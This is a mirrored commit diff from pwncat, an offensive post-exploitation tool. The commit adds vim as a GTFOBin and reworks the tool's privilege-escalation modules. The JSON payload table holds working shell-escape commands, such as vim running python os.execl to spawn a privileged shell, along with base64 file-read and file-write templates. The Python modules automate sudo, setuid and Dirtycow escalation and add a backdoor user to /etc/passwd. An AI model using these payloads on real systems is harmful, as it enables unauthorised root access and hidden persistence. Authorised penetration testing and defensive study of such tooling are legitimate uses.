mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-28 03:14:14 +01:00
Added vim as a GTFOBin. Testing resolved a clusterfuck
This commit is contained in:
parent
2a4ab160d3
commit
983f37e6d6
@ -7,7 +7,7 @@
|
|||||||
"name": "cp",
|
"name": "cp",
|
||||||
"write_file": {
|
"write_file": {
|
||||||
"type": "base64",
|
"type": "base64",
|
||||||
"payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF ${lfile}; {unlink} $TF"
|
"payload": "TF=/tmp/.pwncat; echo {data} | {base64} -d > $TF; {path} $TF {lfile}; {unlink} $TF"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@ -67,7 +67,7 @@
|
|||||||
"read_file": "{path} '//' {lfile}",
|
"read_file": "{path} '//' {lfile}",
|
||||||
"write_file": {
|
"write_file": {
|
||||||
"type": "base64",
|
"type": "base64",
|
||||||
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | {base64} -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@ -141,16 +141,28 @@
|
|||||||
"command": "{path} -p -c {command}"
|
"command": "{path} -p -c {command}"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "vim",
|
"name": "vim.basic",
|
||||||
"shell": {
|
"shell": {
|
||||||
"script": "{command}",
|
|
||||||
"suid": ["-p"]
|
"need" : ["-e", "+:py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-pc\", \"{reset}; exec {shell} -p\")", "+q!"]
|
||||||
|
}
|
||||||
},
|
},
|
||||||
"read_file": "{path} -p -c \"cat {lfile}\"",
|
{
|
||||||
|
"name": "vim.basic",
|
||||||
|
"shell": {
|
||||||
|
"need" : ["-e", "+:py import os; os.execl(\"{shell}\", \"{shell}\", \"-c\", \"{reset}; exec {shell}\")", "+q!"]
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vim.basic",
|
||||||
|
"shell": {
|
||||||
|
"need" : ["-e", "+:!{shell}", "+q!"]
|
||||||
|
},
|
||||||
|
"read_file": "{path} {lfile} -es '+%print' '+:q!' /dev/stdin",
|
||||||
"write_file": {
|
"write_file": {
|
||||||
"type": "base64",
|
"type": "base64",
|
||||||
"payload": "{path} -p -c \"echo -n {data} | base64 -d > {lfile}\""
|
"payload": "echo {data} | base64 -d | {path} -es '+%print' '+:wq! {lfile}' /dev/stdin"
|
||||||
},
|
},
|
||||||
"command": "{path} -p -c {command}"
|
"command": "{path} -c ':!{command}'"
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
|
@ -65,10 +65,13 @@ class RemoteBinaryPipe(RawIOBase):
|
|||||||
obj = b
|
obj = b
|
||||||
|
|
||||||
# Receive the data
|
# Receive the data
|
||||||
|
while True:
|
||||||
try:
|
try:
|
||||||
n = self.pty.client.recv_into(b)
|
n = self.pty.client.recv_into(b)
|
||||||
except BlockingIOError:
|
break
|
||||||
return 0
|
except (BlockingIOError, socket.error):
|
||||||
|
pass
|
||||||
|
|
||||||
obj = bytes(b)
|
obj = bytes(b)
|
||||||
|
|
||||||
# Check for EOF
|
# Check for EOF
|
||||||
|
@ -59,8 +59,13 @@ class Binary:
|
|||||||
except KeyError as exc:
|
except KeyError as exc:
|
||||||
# The keyerror has the name in quotes for some reason
|
# The keyerror has the name in quotes for some reason
|
||||||
key = shlex.split(str(exc))[0]
|
key = shlex.split(str(exc))[0]
|
||||||
|
|
||||||
|
quote = True
|
||||||
|
if key.startswith("unquote_"):
|
||||||
|
key = key.split("unquote_")[1]
|
||||||
|
quote = False
|
||||||
# Find the remote binary that matches
|
# Find the remote binary that matches
|
||||||
value = self.which(key, quote=True)
|
value = self.which(key, quote=quote)
|
||||||
# Whoops! No dependancy
|
# Whoops! No dependancy
|
||||||
if value is None:
|
if value is None:
|
||||||
raise MissingBinary(key)
|
raise MissingBinary(key)
|
||||||
|
@ -1,6 +1,8 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
from typing import Type, List, Tuple
|
from typing import Type, List, Tuple
|
||||||
import crypt
|
import crypt
|
||||||
|
from time import sleep
|
||||||
|
import socket
|
||||||
|
|
||||||
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
|
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
|
||||||
from pwncat.privesc.setuid import SetuidMethod
|
from pwncat.privesc.setuid import SetuidMethod
|
||||||
@ -14,8 +16,8 @@ from pwncat import util
|
|||||||
|
|
||||||
# privesc_methods = [SetuidMethod, SuMethod]
|
# privesc_methods = [SetuidMethod, SuMethod]
|
||||||
# privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod]
|
# privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod]
|
||||||
privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod]
|
# privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod]
|
||||||
# privesc_methods = [ScreenMethod]
|
privesc_methods = [SuMethod, SetuidMethod]
|
||||||
|
|
||||||
|
|
||||||
class Finder:
|
class Finder:
|
||||||
@ -124,6 +126,8 @@ class Finder:
|
|||||||
raise PrivescError("/etc/passwd update failed!")
|
raise PrivescError("/etc/passwd update failed!")
|
||||||
|
|
||||||
self.pty.process(f"su {self.backdoor_user_name}", delim=False)
|
self.pty.process(f"su {self.backdoor_user_name}", delim=False)
|
||||||
|
self.pty.flush_output()
|
||||||
|
|
||||||
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
|
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
|
||||||
self.pty.run("echo")
|
self.pty.run("echo")
|
||||||
|
|
||||||
@ -281,18 +285,27 @@ class Finder:
|
|||||||
try:
|
try:
|
||||||
# Attempt our basic, known technique
|
# Attempt our basic, known technique
|
||||||
exit_script = technique.method.execute(technique)
|
exit_script = technique.method.execute(technique)
|
||||||
|
self.pty.flush_output()
|
||||||
|
|
||||||
# Reset the terminal to ensure we are stable
|
# Reset the terminal to ensure we are stable
|
||||||
self.pty.reset()
|
self.pty.reset()
|
||||||
|
|
||||||
# Check that we actually succeeded
|
# Check that we actually succeeded
|
||||||
if self.pty.whoami() == technique.user:
|
current = self.pty.whoami()
|
||||||
|
|
||||||
|
if current == technique.user or (
|
||||||
|
technique.user == self.backdoor_user_name and current == "root"
|
||||||
|
):
|
||||||
return exit_script
|
return exit_script
|
||||||
|
|
||||||
# Check if we ended up in a sub-shell without escalating
|
# Check if we ended up in a sub-shell without escalating
|
||||||
if self.pty.getenv("SHLVL") != shlvl:
|
if self.pty.getenv("SHLVL") != shlvl:
|
||||||
# Get out of this subshell. We don't need it
|
# Get out of this subshell. We don't need it
|
||||||
self.pty.process(exit_script, delim=False)
|
self.pty.process(exit_script, delim=False)
|
||||||
|
|
||||||
|
# Clean up whatever mess was left over
|
||||||
|
self.pty.flush_output()
|
||||||
|
|
||||||
self.pty.reset()
|
self.pty.reset()
|
||||||
|
|
||||||
# The privesc didn't work, but didn't throw an exception.
|
# The privesc didn't work, but didn't throw an exception.
|
||||||
@ -313,7 +326,6 @@ class Finder:
|
|||||||
# Read the current content of /etc/passwd
|
# Read the current content of /etc/passwd
|
||||||
reader = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
|
reader = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
|
||||||
if reader is None:
|
if reader is None:
|
||||||
print("\nNo reader found")
|
|
||||||
raise PrivescError("no file reader found")
|
raise PrivescError("no file reader found")
|
||||||
|
|
||||||
payload = reader.read_file("/etc/passwd")
|
payload = reader.read_file("/etc/passwd")
|
||||||
@ -352,7 +364,10 @@ class Finder:
|
|||||||
self.backdoor_user = self.pty.users[user]
|
self.backdoor_user = self.pty.users[user]
|
||||||
|
|
||||||
# Switch to the new user
|
# Switch to the new user
|
||||||
self.pty.process(f"su {user}", delim=False)
|
# self.pty.process(f"su {user}", delim=False)
|
||||||
|
self.pty.process(f"su {user}", delim=True)
|
||||||
|
self.pty.flush_output()
|
||||||
|
|
||||||
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
|
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
|
||||||
self.pty.run("echo")
|
self.pty.run("echo")
|
||||||
|
|
||||||
|
@ -111,10 +111,7 @@ class SuMethod(Method):
|
|||||||
|
|
||||||
# Send the su command, and check if it succeeds
|
# Send the su command, and check if it succeeds
|
||||||
self.pty.run(f'su {technique.user} -c "echo good"', wait=False)
|
self.pty.run(f'su {technique.user} -c "echo good"', wait=False)
|
||||||
|
self.pty.flush_output()
|
||||||
# Read the echo
|
|
||||||
if self.pty.has_echo:
|
|
||||||
self.pty.recvuntil("\n")
|
|
||||||
|
|
||||||
# Send the password
|
# Send the password
|
||||||
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
|
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
|
||||||
@ -129,18 +126,10 @@ class SuMethod(Method):
|
|||||||
raise PrivescError(f"{technique.user}: invalid password")
|
raise PrivescError(f"{technique.user}: invalid password")
|
||||||
|
|
||||||
self.pty.run(f"su {technique.user}", wait=False)
|
self.pty.run(f"su {technique.user}", wait=False)
|
||||||
|
self.pty.flush_output()
|
||||||
|
|
||||||
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
|
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
|
||||||
|
|
||||||
user = self.pty.whoami()
|
|
||||||
|
|
||||||
if (
|
|
||||||
technique.user == self.pty.privesc.backdoor_user_name and user != "root"
|
|
||||||
) or (
|
|
||||||
technique.user != self.pty.privesc.backdoor_user_name
|
|
||||||
and user != technique.user
|
|
||||||
):
|
|
||||||
raise PrivescError(f"{technique} failed (still {self.pty.whoami()})")
|
|
||||||
|
|
||||||
return "exit"
|
return "exit"
|
||||||
|
|
||||||
def get_name(self, tech: Technique):
|
def get_name(self, tech: Technique):
|
||||||
|
@ -92,4 +92,5 @@ class DirtycowMethod(Method):
|
|||||||
# Become the new user!
|
# Become the new user!
|
||||||
self.pty.process(f"su {self.pty.privesc.backdoor_user_name}", delim=False)
|
self.pty.process(f"su {self.pty.privesc.backdoor_user_name}", delim=False)
|
||||||
self.pty.client.send(self.pty.privesc.backdoor_password.encode("utf-8") + b"\n")
|
self.pty.client.send(self.pty.privesc.backdoor_password.encode("utf-8") + b"\n")
|
||||||
self.pty.run("echo")
|
|
||||||
|
return "exit"
|
||||||
|
@ -87,32 +87,13 @@ class SetuidMethod(Method):
|
|||||||
binary = technique.ident
|
binary = technique.ident
|
||||||
enter, input, exit = binary.shell(self.pty.shell, suid=True)
|
enter, input, exit = binary.shell(self.pty.shell, suid=True)
|
||||||
|
|
||||||
before_shell_level = self.pty.run("echo $SHLVL").strip()
|
|
||||||
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
|
|
||||||
|
|
||||||
# Run the start commands
|
# Run the start commands
|
||||||
self.pty.run(enter + "\n", wait=False)
|
self.pty.process(enter, delim=False)
|
||||||
# self.pty.process(enter, delim=False)
|
|
||||||
|
|
||||||
# Send required input
|
# Send required input
|
||||||
self.pty.client.send(input.encode("utf-8"))
|
self.pty.client.send(input.encode("utf-8"))
|
||||||
|
|
||||||
# Wait for result
|
return exit # remember how to close out of this privesc
|
||||||
self.pty.run("echo")
|
|
||||||
|
|
||||||
# sleep(0.1)
|
|
||||||
user = self.pty.run("whoami").strip().decode("utf-8")
|
|
||||||
if user == technique.user:
|
|
||||||
return exit
|
|
||||||
else:
|
|
||||||
after_shell_level = self.pty.run("echo $SHLVL").strip()
|
|
||||||
after_shell_level = (
|
|
||||||
int(after_shell_level) if after_shell_level != b"" else 0
|
|
||||||
)
|
|
||||||
if after_shell_level > before_shell_level:
|
|
||||||
self.pty.run(exit, wait=False) # here be dragons
|
|
||||||
|
|
||||||
raise PrivescError(f"escalation failed for {technique}")
|
|
||||||
|
|
||||||
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
|
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
|
||||||
binary = technique.ident
|
binary = technique.ident
|
||||||
|
@ -216,9 +216,6 @@ class SudoMethod(Method):
|
|||||||
|
|
||||||
binary, sudo_spec, password_required = technique.ident
|
binary, sudo_spec, password_required = technique.ident
|
||||||
|
|
||||||
before_shell_level = self.pty.run("echo $SHLVL").strip()
|
|
||||||
before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
|
|
||||||
|
|
||||||
shell_payload, input, exit = binary.sudo_shell(
|
shell_payload, input, exit = binary.sudo_shell(
|
||||||
technique.user, sudo_spec, self.pty.shell
|
technique.user, sudo_spec, self.pty.shell
|
||||||
)
|
)
|
||||||
@ -232,24 +229,8 @@ class SudoMethod(Method):
|
|||||||
# Provide stdin if needed
|
# Provide stdin if needed
|
||||||
self.pty.client.send(input.encode("utf-8"))
|
self.pty.client.send(input.encode("utf-8"))
|
||||||
|
|
||||||
# Give it a bit to let the shell start. We considered a sleep here, but
|
|
||||||
# that was not consistent. This will utilizes the logic in `run` for
|
|
||||||
# waiting for the output of the command (`echo`), which waits the
|
|
||||||
# appropriate amount of time.
|
|
||||||
self.pty.run("echo")
|
|
||||||
|
|
||||||
user = self.pty.whoami()
|
|
||||||
if user == technique.user:
|
|
||||||
return exit
|
return exit
|
||||||
|
|
||||||
after_shell_level = self.pty.run("echo $SHLVL").strip()
|
|
||||||
after_shell_level = int(after_shell_level) if after_shell_level != b"" else 0
|
|
||||||
|
|
||||||
if after_shell_level > before_shell_level:
|
|
||||||
self.pty.run(exit, wait=False) # here be dragons
|
|
||||||
|
|
||||||
raise PrivescError("failed to privesc")
|
|
||||||
|
|
||||||
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
|
def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe:
|
||||||
|
|
||||||
binary, sudo_spec, password_required = technique.ident
|
binary, sudo_spec, password_required = technique.ident
|
||||||
|
@ -520,7 +520,7 @@ class PtyHandler:
|
|||||||
# Cache the value
|
# Cache the value
|
||||||
self.known_binaries[name] = path
|
self.known_binaries[name] = path
|
||||||
|
|
||||||
if quote:
|
if quote and path is not None:
|
||||||
path = shlex.quote(path)
|
path = shlex.quote(path)
|
||||||
|
|
||||||
return path
|
return path
|
||||||
@ -976,10 +976,6 @@ class PtyHandler:
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
response = self.process(cmd, delim=wait)
|
response = self.process(cmd, delim=wait)
|
||||||
if callable(input):
|
|
||||||
input()
|
|
||||||
else:
|
|
||||||
self.client.send(input)
|
|
||||||
|
|
||||||
if wait:
|
if wait:
|
||||||
|
|
||||||
@ -993,6 +989,11 @@ class PtyHandler:
|
|||||||
else:
|
else:
|
||||||
self.recvuntil(b"\n")
|
self.recvuntil(b"\n")
|
||||||
|
|
||||||
|
if callable(input):
|
||||||
|
input()
|
||||||
|
else:
|
||||||
|
self.client.send(input)
|
||||||
|
|
||||||
return response
|
return response
|
||||||
|
|
||||||
def process(self, cmd, delim=True) -> bytes:
|
def process(self, cmd, delim=True) -> bytes:
|
||||||
@ -1109,6 +1110,13 @@ class PtyHandler:
|
|||||||
self.run(f"export PS1='{self.remote_prefix} {self.remote_prompt}'")
|
self.run(f"export PS1='{self.remote_prefix} {self.remote_prompt}'")
|
||||||
self.run(f"tput rmam")
|
self.run(f"tput rmam")
|
||||||
|
|
||||||
|
def flush_output(self):
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
self.client.recv(4096)
|
||||||
|
except socket.error:
|
||||||
|
break
|
||||||
|
|
||||||
def reset(self):
|
def reset(self):
|
||||||
self.run("reset", wait=False)
|
self.run("reset", wait=False)
|
||||||
self.has_cr = True
|
self.has_cr = True
|
||||||
|
Loading…
Reference in New Issue
Block a user